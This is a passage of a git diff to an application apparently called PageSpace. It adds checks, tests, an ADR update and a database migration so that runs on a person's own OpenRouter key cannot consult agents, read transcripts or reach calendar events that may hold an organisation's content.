run(tools.read_session, { sessionId: 's1' }, contextOptions({ modelKeySource: 'user_key' }))) as { success: boolean }; + expect([refused.success, allowed.success]).toEqual([false, true]); + }); + it('given an empty transcript, should answer it as a real (empty) answer', async () => { const tools = createSessionTools(makeDeps()); const result = (await run(tools.read_session, { sessionId: 's1' }, contextOptions())) as { diff --git a/apps/web/src/lib/ai/tools/actor-permissions.ts b/apps/web/src/lib/ai/tools/actor-permissions.ts index 64e1b6d8a0..cf13dc338f 100644 --- a/apps/web/src/lib/ai/tools/actor-permissions.ts +++ b/apps/web/src/lib/ai/tools/actor-permissions.ts @@ -62,6 +62,15 @@ async function pageDeniedByModelPolicy(context: ModelRunFields, pageId: string): return page ? driveDeniedByModelPolicy(context, page.driveId) : false; } +/** + * The same model check for a resource whose content lives in `driveId` but that is reached through another drive (a + * calendar event shared into a drive the actor can open): the content's own drive decides, not the drive it was + * reached through. + */ +export async function driveReadableByModel(context: ModelRunFields, driveId: string): Promise { + return !(await driveDeniedByModelPolicy(context, driveId)); +} + /** * POL-8 for content injected into a run outside a tool call (a command's pages): the same model check the tools * get, without the access check the caller has already made. diff --git a/apps/web/src/lib/ai/tools/agent-communication-tools.ts b/apps/web/src/lib/ai/tools/agent-communication-tools.ts index 42da154dc9..3020b35513 100644 --- a/apps/web/src/lib/ai/tools/agent-communication-tools.ts +++ b/apps/web/src/lib/ai/tools/agent-communication-tools.ts @@ -23,6 +23,7 @@ import { messageRepository } from '@/lib/repositories/message-repository'; import { conversationRepository } from '@/lib/repositories/conversation-repository'; import { DEFAULT_PROVIDER, DEFAULT_MODEL, AI_PROVIDERS, getModelDisplayName } from '@/lib/ai/core/ai-providers-config'; import type { ModelKeySource } from '@/lib/ai/core/model-key-source'; +import { BYOK_KEY_MISMATCH_MESSAGE } from '@/lib/ai/core/byok-responses'; import { buildTimestampSystemPrompt } from '@/lib/ai/core/timestamp-utils'; import type { ToolExecutionContext } from '@/lib/ai/core/types'; import { createId } from '@paralleldrive/cuid2'; @@ -53,10 +54,6 @@ const MAX_AGENT_DEPTH = 2; * Get configured AI model for agent using the centralized provider factory * Handles provider-specific setup and fallbacks */ -/** Why a run on the person's own key may not consult an agent that runs on PageSpace's key (ADR 0009 I6). */ -export const CONSULT_NEEDS_PAGESPACE_KEY = - 'This agent runs on PageSpace\'s key here (an organization governs its content, or its conversation already used PageSpace\'s key), so it cannot answer a conversation that runs on your own OpenRouter key.'; - async function getConfiguredModel( userId: string, agentConfig: { aiProvider?: string | null; aiModel?: string | null; driveId: string }, @@ -107,7 +104,7 @@ async function getConfiguredModel( // A caller on the person's own key cannot take an answer made on PageSpace's key: that answer may carry an org's // content (the agent's drive, its context drives, its own reads), and it would go back to the person's key. if (byok.parentKeySource === 'user_key' && providerResult.keySource !== 'user_key') { - throw new Error(CONSULT_NEEDS_PAGESPACE_KEY); + throw new Error(BYOK_KEY_MISMATCH_MESSAGE); } // The pro-model gate, for the tier of whoever funds this consult (WAL-8, POL-8): the drive wallet's root owner for a @@ -689,18 +686,6 @@ export async function executeAskAgent( const callingPage = executionContext?.locationContext?.currentPage; const sourceAgentId = callingPage?.type === 'AI_CHAT' ? callingPage.id : null; - // Save user message to database - await messageRepository.savePageMessage({ - messageId: userMessageId, - pageId: agentId, - conversationId: activeConversationId, - userId: userId, // Track which user (via calling agent) asked the question - role: 'user', - content: userMessageContent, - sourceAgentId, // Track which AI agent sent this message (for agent-to-agent communication) - uiMessage: userMessage, // Durable parts only — transient presigned image parts are deliberately excluded - }); - // Add user message to conversation messages.push(modelUserMessage); @@ -770,9 +755,23 @@ export async function executeAskAgent( billedUserId, modelCall: { sessionId: executionContext?.authSessionId ?? null, conversationId: activeConversationId }, contextDriveIds, - parentKeySource: executionContext?.modelKeySource, + parentKeySource: executionContext?.modelKeySource ?? executionContext?.gatedKeySource, }); const { model, provider: resolvedProvider, modelName: resolvedModelName } = providerResult; + + // Save the question once the model is built: a consult refused there (an org policy, the plan, or the key the + // caller is on) leaves nothing in the conversation, and a managed one has already been marked as such by the + // factory, before its question is stored (ADR 0009 I10). + await messageRepository.savePageMessage({ + messageId: userMessageId, + pageId: agentId, + conversationId: activeConversationId, + userId: userId, // Track which user (via calling agent) asked the question + role: 'user', + content: userMessageContent, + sourceAgentId, // Track which AI agent sent this message (for agent-to-agent communication) + uiMessage: userMessage, // Durable parts only — transient presigned image parts are deliberately excluded + }); // BYOK: the factory's decision drives the gate and billing below — no hold, no charge on the person's key. const askKeySource = providerResult.keySource ?? 'managed'; diff --git a/apps/web/src/lib/ai/tools/calendar-read-tools.ts b/apps/web/src/lib/ai/tools/calendar-read-tools.ts index 6cc2d01739..7f751b6e30 100644 --- a/apps/web/src/lib/ai/tools/calendar-read-tools.ts +++ b/apps/web/src/lib/ai/tools/calendar-read-tools.ts @@ -10,7 +10,7 @@ import type { CalendarTriggerMetadata } from '@pagespace/db/schema/calendar-trig import { isUserDriveMember, getDriveIdsForUser } from '@pagespace/lib/permissions/permissions'; import { isUserMemberOfAnyEventDrive, listEventDrives, getAllDriveIdsForEvent } from '@pagespace/lib/services/calendar-event-drive-service'; import type { ToolExecutionContext } from '../core/types'; -import { driveDeniedByAppToken, filterDriveIdsByAppTokenScope, isMcpScoped, toolActor } from './actor-permissions'; +import { driveDeniedByAppToken, driveReadableByModel, filterDriveIdsByAppTokenScope, isMcpScoped, toolActor } from './actor-permissions'; import { normalizeTimezone, getTimezoneOffsetMinutes, formatDateInTimezone, isNaiveISODatetime, parseNaiveDatetimeInTimezone } from '../core/timestamp-utils'; import { expandRecurringEvents } from '../../workflows/recurrence-utils'; import { checkActorDriveAuthentication } from '@pagespace/lib/permissions/actor-authentication'; @@ -27,6 +27,9 @@ async function canAccessEvent( const actor = toolActor(context); // SEC-2/3: an org drive's event is that org's content, whoever created or attends it. if (event.driveId && !(await checkActorDriveAuthentication(actor, event.driveId)).allowed) return false; + // POL-8, and BYOK (ADR 0009 I6): the event's content is its HOME drive's, so that drive's org judges the model (and + // refuses a run on the person's own key) even when the event is reached through a drive it was shared into. + if (context && event.driveId && !(await driveReadableByModel(context, event.driveId))) return false; // A scoped MCP token must have access to at least one of the event's drives // (home drive + any shared drives). Check all drives so tokens scoped to a // shared drive can still reach the event. diff --git a/apps/web/src/lib/ai/tools/session-tools-runtime.ts b/apps/web/src/lib/ai/tools/session-tools-runtime.ts index b33f57fc84..d67e17837c 100644 --- a/apps/web/src/lib/ai/tools/session-tools-runtime.ts +++ b/apps/web/src/lib/ai/tools/session-tools-runtime.ts @@ -31,6 +31,7 @@ * across the hop on a value no caller can forge. */ +import { conversationRanOnManagedKey } from '@/lib/ai/core/model-key-source'; import { createId } from '@paralleldrive/cuid2'; import { db } from '@pagespace/db/db'; import { and, eq, inArray, isNotNull, ne, desc } from '@pagespace/db/operators'; @@ -215,6 +216,8 @@ export async function dispatchThroughChatPipeline(input: { depth: number; wait: boolean; scope: { allowedDriveIds: string[]; mcpTokenId?: string }; + /** BYOK (ADR 0009): the key the dispatching run is on, signed into the hop so the worker's turn keeps it. */ + callerKeySource?: 'managed' | 'user_key'; }): Promise { const base = resolveSelfBaseUrl(); if (!base) { @@ -250,6 +253,7 @@ export async function dispatchThroughChatPipeline(input: { text: input.input, // The worker opens org drives exactly as far as the dispatching credential could. authentication: derivedCredentialEvidence(input.actor), + ...(input.callerKeySource ? { callerKeySource: input.callerKeySource } : {}), }); const requestHeaders: Record = { @@ -1315,6 +1319,8 @@ export function buildSessionToolsDeps(): SessionToolsDeps { readTranscript: readSessionTranscript, + conversationRanOnManagedKey, + killWorker: async ({ conversationId, streamOwnerId, actingUserId }) => { // Abort as the STREAM'S OWNER, not the caller. // diff --git a/apps/web/src/lib/ai/tools/session-tools.ts b/apps/web/src/lib/ai/tools/session-tools.ts index 29a0d04f2c..68d7cb7edb 100644 --- a/apps/web/src/lib/ai/tools/session-tools.ts +++ b/apps/web/src/lib/ai/tools/session-tools.ts @@ -693,7 +693,14 @@ export interface SessionToolsDeps { * the process boundary and silently re-widening to full access. */ scope: { allowedDriveIds: string[]; mcpTokenId?: string }; + /** BYOK (ADR 0009): the key the dispatching model run is on; the worker's turn keeps it. */ + callerKeySource?: 'managed' | 'user_key'; }) => Promise; + /** + * BYOK (ADR 0009 I10): whether a conversation ever ran on PageSpace's key. A caller on the person's own key may not + * read such a transcript (it may hold an org's content). Absent: treated as yes for such a caller (fail closed). + */ + conversationRanOnManagedKey?: (conversationId: string) => Promise; /** The worker's transcript tail, oldest first, already limited. */ readTranscript: (input: { conversationId: string; @@ -1042,6 +1049,13 @@ const SPAWN_DENIALS: Record< session_full: `This session already has ${MAX_SESSION_CONVERSATIONS} conversations, its maximum. Reuse an existing worker (send_session) instead of spawning another.`, }; +/** Why a run on the person's own key may not read a worker's transcript (ADR 0009 I6, I10). */ +const MANAGED_TRANSCRIPT_DENIAL = { + success: false as const, + error: + 'This session has run on PageSpace\'s key, so its transcript may hold an organization\'s content. It cannot be read into a conversation that runs on your own OpenRouter key.', +}; + const DEPTH_DENIAL = { success: false as const, error: SPAWN_DENIALS.depth_exceeded, @@ -1684,6 +1698,7 @@ export function createSessionTools(deps: SessionToolsDeps): { depth: plan.childDepth, wait: wait === true, scope: readDispatchScope(context), + callerKeySource: context?.modelKeySource, }); if (!dispatched.ok) { // The worker EXISTS either way — report the id with the failure so @@ -1734,6 +1749,7 @@ export function createSessionTools(deps: SessionToolsDeps): { depth: readDepth(context) + 1, wait: wait === true, scope: readDispatchScope(context), + callerKeySource: context?.modelKeySource, }); if (!dispatched.ok) return dispatchFailure(dispatched); @@ -1757,8 +1773,13 @@ export function createSessionTools(deps: SessionToolsDeps): { execute: async ({ sessionId, tail }, options) => { // The wire's `sessionId` IS the worker's conversation id (spec §4). const conversationId = sessionId; - const opened = await openAddressableSession(readContext(options), conversationId); + const context = readContext(options); + const opened = await openAddressableSession(context, conversationId); if (!opened.ok) return opened.error; + // BYOK (ADR 0009): a run on the person's own key never reads a transcript made on PageSpace's key. + if (context?.modelKeySource === 'user_key' && (deps.conversationRanOnManagedKey === undefined || (await deps.conversationRanOnManagedKey(conversationId)))) { + return MANAGED_TRANSCRIPT_DENIAL; + } const limit = tail ?? DEFAULT_TRANSCRIPT_TAIL; const entries = await deps.readTranscript({ diff --git a/apps/web/src/lib/channels/__tests__/agent-mention-responder-credit-gate.test.ts b/apps/web/src/lib/channels/__tests__/agent-mention-responder-credit-gate.test.ts index c6f3c02542..da21a2cfe4 100644 --- a/apps/web/src/lib/channels/__tests__/agent-mention-responder-credit-gate.test.ts +++ b/apps/web/src/lib/channels/__tests__/agent-mention-responder-credit-gate.test.ts @@ -20,6 +20,11 @@ const { mockCanConsumeAI, mockReleaseHold, mockSelectWhere, mentionLogger } = vi // POL-9: the responder asks the channel drive's org whether agents may reply on their own; no org in these tests. const getDrivePolicies = vi.hoisted(() => vi.fn()); +// BYOK (ADR 0009): the gate reads the agent's context drives for its key decision; none here. +vi.mock('@pagespace/lib/services/drive-agent-service', async (importOriginal) => ({ + ...(await importOriginal()), + getAgentContextDrives: vi.fn(async () => []), +})); vi.mock('@pagespace/lib/organizations/policy-reader', () => ({ getDrivePolicies })); vi.mock('@pagespace/lib/billing/credit-gate', () => ({ canConsumeAI: mockCanConsumeAI })); diff --git a/apps/web/src/lib/channels/__tests__/agent-mention-responder.test.ts b/apps/web/src/lib/channels/__tests__/agent-mention-responder.test.ts index 746f1fd955..7870eeb6b8 100644 --- a/apps/web/src/lib/channels/__tests__/agent-mention-responder.test.ts +++ b/apps/web/src/lib/channels/__tests__/agent-mention-responder.test.ts @@ -228,7 +228,7 @@ describe('agent-mention-responder', () => { await triggerMentionedAgentResponses({ ...baseParams, content: 'Thoughts? @[Budget Agent](agent-1:page)' }); // BYOK (ADR 0009): the gate is told the provider the reply runs and the agent's drive, so it decides whose key pays. - expect(mockAcquireMentionCreditHold).toHaveBeenCalledWith({ userId: 'user-1', driveId: 'drive-1', keyScope: { provider: expect.any(String), agentDriveId: null, conversationId: 'channel:channel-1:agent:agent-1' } }); + expect(mockAcquireMentionCreditHold).toHaveBeenCalledWith({ userId: 'user-1', driveId: 'drive-1', keyScope: { provider: expect.any(String), agentId: 'agent-1', agentDriveId: null, conversationId: 'channel:channel-1:agent:agent-1' } }); expect(mockAcquireMentionCreditHold.mock.invocationCallOrder[0]).toBeLessThan(mockAskAgentExecute.mock.invocationCallOrder[0]); const askContext = mockAskAgentExecute.mock.calls[0][1].experimental_context; expect(askContext.creditSpend).toEqual({ spend: { kind: 'automation', driveId: 'drive-1' }, walletId: 'w-drive-1' }); diff --git a/apps/web/src/lib/channels/__tests__/mention-credit-gate.test.ts b/apps/web/src/lib/channels/__tests__/mention-credit-gate.test.ts index aa1d275f02..52c901a748 100644 --- a/apps/web/src/lib/channels/__tests__/mention-credit-gate.test.ts +++ b/apps/web/src/lib/channels/__tests__/mention-credit-gate.test.ts @@ -1,6 +1,8 @@ import { beforeEach, describe, expect, it, vi } from 'vitest'; -const { mockSelect, mockSelectFrom, mockSelectWhere, mockCanConsumeAI, mockReleaseHold } = vi.hoisted(() => ({ +const { mockSelect, mockSelectFrom, mockSelectWhere, mockCanConsumeAI, mockReleaseHold, mockResolveModelKeySource, mockGetAgentContextDrives } = vi.hoisted(() => ({ + mockResolveModelKeySource: vi.fn(), + mockGetAgentContextDrives: vi.fn(), mockSelect: vi.fn(), mockSelectFrom: vi.fn(), mockSelectWhere: vi.fn(), @@ -14,6 +16,8 @@ vi.mock('@pagespace/db/schema/auth', () => ({ users: { id: 'id', subscriptionTie vi.mock('@pagespace/lib/billing/credit-gate', () => ({ canConsumeAI: mockCanConsumeAI })); vi.mock('@pagespace/lib/billing/credit-consume', () => ({ releaseHold: mockReleaseHold })); vi.mock('@pagespace/lib/billing/credit-pricing', () => ({ MAX_CHAT_INFLIGHT: 3 })); +vi.mock('@/lib/ai/core/model-key-source', () => ({ resolveModelKeySource: mockResolveModelKeySource })); +vi.mock('@pagespace/lib/services/drive-agent-service', () => ({ getAgentContextDrives: mockGetAgentContextDrives })); import { acquireMentionCreditHold } from '../mention-credit-gate'; @@ -69,4 +73,23 @@ describe('acquireMentionCreditHold', () => { expect(hold).toEqual({ allowed: false, error: 'AI credit gate denied: no drive to spend' }); expect(mockCanConsumeAI).not.toHaveBeenCalled(); }); + + it('BYOK (ADR 0009) decides the reply\'s key on its whole content scope (the agent\'s drive and its context drives) and reports the key it gated for', async () => { + mockGetAgentContextDrives.mockResolvedValue([{ driveId: 'drive-org-context', driveName: 'Org', drivePrompt: 'x' }]); + mockResolveModelKeySource.mockResolvedValue({ source: 'managed', byokActive: true }); + mockCanConsumeAI.mockResolvedValue({ allowed: true, reason: 'ok', holdId: 'hold-1', walletId: 'w-product' }); + + const hold = await acquireMentionCreditHold({ userId: 'user-marcus', driveId: 'drive-product', keyScope: { provider: 'openai', agentId: 'agent-1', agentDriveId: 'drive-agent', conversationId: 'conv-1' } }); + + expect([mockResolveModelKeySource.mock.calls[0]?.[0]?.contentDriveIds, hold.allowed ? hold.keySource : null, mockCanConsumeAI.mock.calls.length]).toEqual([['drive-agent', 'drive-org-context'], 'managed', 1]); + }); + + it('BYOK (ADR 0009) given a reply on the sender\'s own key, reserves nothing', async () => { + mockGetAgentContextDrives.mockResolvedValue([]); + mockResolveModelKeySource.mockResolvedValue({ source: 'user_key' }); + + const hold = await acquireMentionCreditHold({ userId: 'user-marcus', driveId: 'drive-product', keyScope: { provider: 'openai', agentId: 'agent-1', agentDriveId: null } }); + + expect([hold.allowed ? hold.keySource : null, mockCanConsumeAI.mock.calls.length]).toEqual(['user_key', 0]); + }); }); diff --git a/apps/web/src/lib/channels/agent-mention-responder.ts b/apps/web/src/lib/channels/agent-mention-responder.ts index 8a88e697df..ba2622f49d 100644 --- a/apps/web/src/lib/channels/agent-mention-responder.ts +++ b/apps/web/src/lib/channels/agent-mention-responder.ts @@ -448,6 +448,7 @@ function buildMentionerContext( conversationId: string, locationContext: ToolExecutionContext['locationContext'], creditSpend?: ToolExecutionContext['creditSpend'], + gatedKeySource?: ToolExecutionContext['gatedKeySource'], ): ToolExecutionContext { return { userId: params.sender.userId, @@ -457,6 +458,8 @@ function buildMentionerContext( requestOrigin: 'user', agentCallDepth: 0, ...(creditSpend ? { creditSpend } : {}), + // BYOK (ADR 0009): the key the reply's gate decided (and judged its command pages for); ask_agent keeps it. + ...(gatedKeySource ? { gatedKeySource } : {}), } as ToolExecutionContext; } @@ -768,7 +771,7 @@ export async function triggerMentionedAgentResponses( const hold = await acquireMentionCreditHold({ userId: params.sender.userId, driveId: params.driveId, - keyScope: { provider: agent.runModel.provider, agentDriveId: agent.driveId ?? null, conversationId: mentionConversationId }, + keyScope: { provider: agent.runModel.provider, agentId: agent.id, agentDriveId: agent.driveId ?? null, conversationId: mentionConversationId }, }); if (!hold.allowed) { channelMentionLogger.warn('Mentioned agent skipped (credit gate denied)', { @@ -804,7 +807,7 @@ export async function triggerMentionedAgentResponses( { toolCallId: `channel-mention-ask-${params.sourceMessageId}-${agent.id}`, messages: [], - experimental_context: buildMentionerContext(params, mentionConversationId, locationContext, hold.creditSpend), + experimental_context: buildMentionerContext(params, mentionConversationId, locationContext, hold.creditSpend, hold.keySource), } ); } finally { diff --git a/apps/web/src/lib/channels/mention-credit-gate.ts b/apps/web/src/lib/channels/mention-credit-gate.ts index a7c3677438..c0235901d5 100644 --- a/apps/web/src/lib/channels/mention-credit-gate.ts +++ b/apps/web/src/lib/channels/mention-credit-gate.ts @@ -9,6 +9,7 @@ import { personTriggeredSpend } from '@pagespace/lib/billing/spend-target'; import type { ToolExecutionContext } from '@/lib/ai/core/types'; import { creditDeniedError } from '@/lib/workflows/workflow-credit-gate'; import { resolveModelKeySource, type ModelKeySource } from '@/lib/ai/core/model-key-source'; +import { getAgentContextDrives } from '@pagespace/lib/services/drive-agent-service'; import { BYOK_UNAVAILABLE_MESSAGE } from '@/lib/ai/core/byok-responses'; type MentionCreditSpend = NonNullable; @@ -42,7 +43,7 @@ export async function acquireMentionCreditHold(input: { * ask_agent's provider factory decides on. On the sender's own OpenRouter key the reply reserves nothing * (ask_agent then takes no hold of its own either, and never charges). Absent: gated as before. */ - keyScope?: { provider: string; agentDriveId?: string | null; conversationId?: string | null }; + keyScope?: { provider: string; agentId?: string; agentDriveId?: string | null; conversationId?: string | null }; }): Promise { // A mention outside any drive has no drive wallet, and a person-less reply never falls // back to a person: nothing to spend, so nothing runs. @@ -54,7 +55,11 @@ export async function acquireMentionCreditHold(input: { userId: input.userId, provider: input.keyScope.provider, driveId: input.driveId, - contentDriveIds: input.keyScope.agentDriveId ? [input.keyScope.agentDriveId] : [], + // The agent's home drive and the context drives whose prompts ask_agent injects: the reply's whole content scope. + contentDriveIds: [ + ...(input.keyScope.agentDriveId ? [input.keyScope.agentDriveId] : []), + ...(input.keyScope.agentId ? (await getAgentContextDrives(input.keyScope.agentId)).map((drive) => drive.driveId) : []), + ], conversationId: input.keyScope.conversationId ?? null, }); if (keyDecision.source === 'refused') return { allowed: false, error: BYOK_UNAVAILABLE_MESSAGE }; diff --git a/docs/adr/0009-model-keys-through-the-credential-plane.md b/docs/adr/0009-model-keys-through-the-credential-plane.md index 43a7ab4c69..13f5dc0aa5 100644 --- a/docs/adr/0009-model-keys-through-the-credential-plane.md +++ b/docs/adr/0009-model-keys-through-the-credential-plane.md @@ -20,6 +20,7 @@ The options: 1. **A model key is an agent account.** It is a user-owned `api_key` account with the reserved `providerSlug` `openrouter-model-key`, pinned to `https://openrouter.ai:443`. The plane stores it with an ingress `put` (write-only). No main-DB column, response or later web request carries it. The one exception is ingress: during the submission request, the web process holds the key just long enough to validate its shape and hand it to `put` (`setModelKey`). It is never persisted there and never present at inference time. 2. **It is never an agent's tool.** `authorize` (http_request) refuses it as `kind_not_supported`, `listAccounts` hides it, and `changeable` refuses every edit, binding and delegation on it. Only `setModelKey`, `removeModelKey` and `authorizeInference` touch it. + Saves and removals of one person's key run one at a time across replicas, under the per-account advisory lock. A save whose lock is lost while the key is being stored never activates it. A key OpenRouter rejects never becomes active, even if the plane cannot revoke it at that moment. 3. **New presenter `inference-executor`.** - It resolves `api_key` only, and `api_key` reaches no executor besides HTTP and relay. - Its method set is `POST`. Generic canonicalization refuses it, the same way `ssh-executor` is handled. The executor also refuses any account that is not a model key (`kind_not_resolvable`). @@ -53,14 +54,18 @@ The options: - the person has an active model key; - **no org governs the call or its content.** That covers the call's drive, its content drives (an agent's home drive, its context drives) and derived content (memory distilled from an org, discovery over org conversations); - **the person funds the call.** It runs in no drive, or in a drive they own, whose wallet is their own money. In someone else's drive that drive's wallet may pay, so the call stays on PageSpace's key; - - **the conversation has never run on PageSpace's key.** A managed turn may have read an org's content into the history, and every later turn replays that history. So a conversation can move from the person's key to PageSpace's, but never back. The signal is a managed `ai_usage_logs` row for the conversation. + - **the conversation has never run on PageSpace's key.** A managed turn may have read an org's content into the history, and every later turn replays that history. So a conversation can move from the person's key to PageSpace's, but never back. The durable signal is a row in `model_key_managed_conversations`. The provider factory writes it **before** the managed call runs, for a person with their own key switched on, so the mark exists before any content it protects is saved. A managed `ai_usage_logs` row for the conversation is the record for older conversations. Otherwise it returns `managed`. It returns `refused` (`byok_unavailable`) in two cases, both for a person with a key: the plane is not configured, or the flag lookup failed (the state is unknown, so the call is not quietly billed to PageSpace credits). The credit gate, the provider factory and billing all act on that one decision. If the provider that actually runs is not OpenRouter (the saved selection changed between the gate and the factory), the factory refuses the call. It never applies a `user_key` decision to another backend. 9. **On the person's key, no org content reaches the model.** These are enforced where the content is read, not by the decision alone: - **Tools.** The tool boundary that already judges org model allowlists (POL-8, `actor-permissions.ts`) refuses every org drive on a `user_key` run, whatever the allowlist says. This covers page reads, drive listings and searches, and command pages injected into the prompt. Because of this, a turn on the person's key never adds org content to its conversation. - **Assistant context.** No org drive in view, no org drive in the workspace summary or the agent list, and no memory distilled from an org (`memoryOrgIds`). - **Background passes.** Memory discovery, integration and compaction, and chat compaction, decide on the orgs and drives their input carries. A turn's compaction inherits the turn's key: a managed turn's compaction stays managed, even before that turn's usage row is written. - - **Nested runs inherit the caller's key.** A model run on PageSpace's key keeps the agents it consults (`ask_agent`) and the images it makes on PageSpace's key, because its question or prompt may carry org content. A run on the person's key refuses to consult an agent that would run on PageSpace's key, because that agent's answer may carry org content back to the person's key. + - **Nested runs inherit the caller's key.** The calling run's key travels with the call: through the signed agent-dispatch payload (`callerKeySource`) for session workers (`spawn_session`, `send_session`), and through the gate's decision for a channel mention's `ask_agent`. + - A caller on PageSpace's key keeps the child there, because the child's message may carry org content. That includes the images it makes. + - A caller on the person's key refuses a child that would run on PageSpace's key (409, `byok_key_mismatch`), because the child's answer may carry org content back. + - `read_session` never returns a transcript from a conversation that ran on PageSpace's key to a caller on the person's key. + - **Content reached through another drive** (a calendar event shared into a personal drive) is judged by its home drive. - **Unknown outcomes.** A plane exchange that breaks after the request was sent reports `outcome_unknown`, not `upstream_unreachable`, so it is never re-sent automatically. 10. **No silent fallback.** On `user_key`, the provider is OpenRouter with a plane-backed `fetch` and no key. Every refusal is answered as an OpenRouter-shaped error the person reads in chat. Nothing routes from there to PageSpace's key, and `OPENROUTER_BASE_URL` never applies. 11. **Billing.** diff --git a/packages/db/drizzle/0395_byok_feature_flags.sql b/packages/db/drizzle/0395_byok_feature_flags.sql index ee84e8a32f..0c3aae2d14 100644 --- a/packages/db/drizzle/0395_byok_feature_flags.sql +++ b/packages/db/drizzle/0395_byok_feature_flags.sql @@ -14,6 +14,14 @@ CREATE TABLE "feature_flags" ( "updated_by" text ); --> statement-breakpoint +CREATE TABLE "model_key_managed_conversations" ( + "conversation_id" text PRIMARY KEY NOT NULL, + "user_id" text NOT NULL, + "marked_at" timestamp with time zone DEFAULT now() NOT NULL +); +--> statement-breakpoint ALTER TABLE "ai_usage_logs" ADD COLUMN "key_source" text DEFAULT 'managed' NOT NULL;--> statement-breakpoint ALTER TABLE "feature_flag_user_overrides" ADD CONSTRAINT "feature_flag_user_overrides_user_id_users_id_fk" FOREIGN KEY ("user_id") REFERENCES "public"."users"("id") ON DELETE cascade ON UPDATE no action;--> statement-breakpoint -CREATE INDEX "feature_flag_user_overrides_user_idx" ON "feature_flag_user_overrides" USING btree ("user_id"); \ No newline at end of file +ALTER TABLE "model_key_managed_conversations" ADD CONSTRAINT "model_key_managed_conversations_user_id_users_id_fk" FOREIGN KEY ("user_id") REFERENCES "public"."users"("id") ON DELETE cascade ON UPDATE no action;--> statement-breakpoint +CREATE INDEX "feature_flag_user_overrides_user_idx" ON "feature_flag_user_overrides" USING btree ("user_id");--> statement-breakpoint +CREATE INDEX "model_key_managed_conversations_user_idx" ON "model_key_managed_conversations" USING btree ("user_id"); \ No newline at end of file diff --git a/packages/db/drizzle/meta/0395_snapshot.json b/packages/db/drizzle/meta/0395_snapshot.json index 8bef48b6d3..59b87c3151 100644 --- a/packages/db/drizzle/meta/0395_snapshot.json +++ b/packages/db/drizzle/meta/0395_snapshot.json @@ -1,5 +1,5 @@ { - "id": "00d9662f-57ab-4589-b1e6-70717ede97f7", + "id": "9e685061-b243-4dc7-bf47-34a7532902a7", "prevId": "0ee3b9fa-c4f9-40d6-b3ec-9ee8a8dcc6e1", "version": "7", "dialect": "postgresql", @@ -29910,6 +29910,68 @@ "policies": {}, "checkConstraints": {}, "isRLSEnabled": false + }, + "public.model_key_managed_conversations": { + "name": "model_key_managed_conversations", + "schema": "", + "columns": { + "conversation_id": { + "name": "conversation_id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "marked_at": { + "name": "marked_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "model_key_managed_conversations_user_idx": { + "name": "model_key_managed_conversations_user_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "model_key_managed_conversations_user_id_users_id_fk": { + "name": "model_key_managed_conversations_user_id_users_id_fk", + "tableFrom": "model_key_managed_conversations", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false } }, "enums": { diff --git a/packages/db/drizzle/meta/_journal.json b/packages/db/drizzle/meta/_journal.json index c0c32e767f..9751c6d0e3 100644 --- a/packages/db/drizzle/meta/_journal.json +++ b/packages/db/drizzle/meta/_journal.json @@ -2553,7 +2553,7 @@ { "idx": 364, "version": "7", - "when": 1796012905145, + "when": 1796014719186, "tag": "0395_byok_feature_flags", "breakpoints": true } diff --git a/packages/db/package.json b/packages/db/package.json index baa559e080..1a0fd45278 100644 --- a/packages/db/package.json +++ b/packages/db/package.json @@ -67,6 +67,10 @@ "types": "./dist/schema/feature-flags.d.ts", "default": "./dist/schema/feature-flags.js" }, + "./schema/model-key-history": { + "types": "./dist/schema/model-key-history.d.ts", + "default": "./dist/schema/model-key-history.js" + }, "./schema/agent-account-grant-nonces": { "types": "./dist/schema/agent-account-grant-nonces.d.ts", "default": "./dist/schema/agent-account-grant-nonces.js" diff --git a/packages/db/src/schema.ts b/packages/db/src/schema.ts index 55f8dd00f5..445f89b6bf 100644 --- a/packages/db/src/schema.ts +++ b/packages/db/src/schema.ts @@ -79,6 +79,7 @@ export * from './schema/agent-accounts'; export * from './schema/user-builtin-agents'; export * from './schema/imago-drive-access'; export * from './schema/feature-flags'; +export * from './schema/model-key-history'; import * as auth from './schema/auth'; import * as sessions from './schema/sessions'; @@ -160,6 +161,7 @@ import * as agentAccounts from './schema/agent-accounts'; import * as userBuiltinAgents from './schema/user-builtin-agents'; import * as imagoDriveAccess from './schema/imago-drive-access'; import * as featureFlags from './schema/feature-flags'; +import * as modelKeyHistory from './schema/model-key-history'; export const schema = { ...auth, @@ -242,4 +244,5 @@ export const schema = { ...userBuiltinAgents, ...imagoDriveAccess, ...featureFlags, + ...modelKeyHistory, }; diff --git a/packages/db/src/schema/model-key-history.ts b/packages/db/src/schema/model-key-history.ts new file mode 100644 index 0000000000..f87684c3ff --- /dev/null +++ b/packages/db/src/schema/model-key-history.ts @@ -0,0 +1,26 @@ +/** + * BYOK (ADR 0009 I10) — the conversations that ran on PageSpace's key while their person had their own key + * switched on. A conversation that ran on PageSpace's key may hold an org's content in its history (a managed turn + * read it), so it never moves to the person's own key. The row is written by the provider factory BEFORE the + * managed call runs, so the mark is durable before any content it protects is saved; `ai_usage_logs` (key_source + * 'managed') remains the record for older conversations. + * + * Keyed by conversation id alone and written before the conversation row may exist (a first turn), so it carries + * no foreign key to `conversations`; the person's erasure cascades through `user_id`. + */ +import { pgTable, text, timestamp, index } from 'drizzle-orm/pg-core'; +import { users } from './auth'; + +export const modelKeyManagedConversations = pgTable( + 'model_key_managed_conversations', + { + conversationId: text('conversation_id').primaryKey(), + userId: text('user_id') + .notNull() + .references(() => users.id, { onDelete: 'cascade' }), + markedAt: timestamp('marked_at', { mode: 'date', withTimezone: true }).defaultNow().notNull(), + }, + (table) => ({ + userIdx: index('model_key_managed_conversations_user_idx').on(table.userId), + }), +); diff --git a/packages/lib/src/agent-accounts/__tests__/account-change-lock.test.ts b/packages/lib/src/agent-accounts/__tests__/account-change-lock.test.ts new file mode 100644 index 0000000000..1e9bb67117 --- /dev/null +++ b/packages/lib/src/agent-accounts/__tests__/account-change-lock.test.ts @@ -0,0 +1,35 @@ +/** + * 